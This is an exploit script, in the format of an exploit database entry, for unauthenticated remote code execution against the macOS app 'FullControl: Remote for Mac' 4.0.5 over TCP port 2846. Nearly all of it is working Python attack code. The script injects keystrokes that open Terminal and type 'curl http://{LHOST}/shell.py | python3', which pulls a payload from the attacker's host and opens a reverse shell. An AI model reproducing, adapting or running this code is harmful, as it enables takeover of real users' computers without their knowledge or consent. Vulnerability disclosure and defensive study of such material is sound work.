# Exploit Title: FullControl: Remote for Mac 4.0.5 - Remote Code Execution
# Date: 25/07/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://fullcontrol.cescobaz.com/
# Software Link:
https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
# Version: 4.0.5
# Tested on: macOS 14.4 Sonoma
'''
Description:
"FullControl: Remote for Mac" v4.0.5 for macOS is vulnerable to
unauthenticated Remote Code Execution (RCE) via TCP port 2846. An attacker
on the same network can inject simulated keyboard input, allowing arbitrary
command execution without user interaction or authentication.
'''
import socket
import time
HOST = '192.168.8.101'
PORT = 2846
LHOST = '192.168.8.100'
DEBUG = False
packets_to_send = [
'accessibilityAPIEnabled',
'protocol',
'API_level',
'fc',
'os',
'json2',
'rsion',
'fc',
'os',
'device',
'FullControl',
'4.2.0',
'4.2.0',
'26.0',
'Attacker',
]
open_terminal_payloads = [
'{"Class":"Command","Id":17,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"#4
space"}',
'{"Class":"Command","Id":18,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"t"}',
'{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"e"}',
'{"Class":"Command","Id":20,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"r"}',
'{"Class":"Command","Id":21,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"m"}',
'{"Class":"Command","Id":22,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"i"}',
'{"Class":"Command","Id":23,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"n"}',
'{"Class":"Command","Id":24,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"a"}',
'{"Class":"Command","Id":25,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"l"}',
'{"Class":"Command","Id":26,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}',
]
reverse_shell = f'curl http://{LHOST}/shell.py | python3'
reverse_shell_payloads = []
for c in reverse_shell:
if c == " ":
instr = "space"
elif c == "\n":
instr = "return"
else:
instr = c
reverse_shell_payloads.append(
f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}'
)
reverse_shell_payloads.append(
'{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}'
)
def send_packets(sock, packets, delay=0.01):
for i, pkt in enumerate(packets):
if DEBUG:
print(f"[>] Sending: {pkt}")
sock.sendall(pkt.encode())
if i == 0:
time.sleep(1.0)
else:
time.sleep(delay)
try:
response = sock.recv(4096)
if response:
if DEBUG:
print(f"[<] Received:
{response.decode(errors='ignore')}")
except socket.timeout:
continue
def main():
with socket.create_connection((HOST, PORT)) as sock:
sock.settimeout(1.0)
print("[*] Sending negotiation packets...")
send_packets(sock, packets_to_send)
time.sleep(2)
print("[*] Opening Terminal via Spotlight...")
send_packets(sock, open_terminal_payloads, 0.5)
time.sleep(2)
print("[*] Sending reverse shell payload...")
send_packets(sock, reverse_shell_payloads, 0.01)
print("[+] Reverse shell triggered. Check your listener.")
if __name__ == "__main__":
main()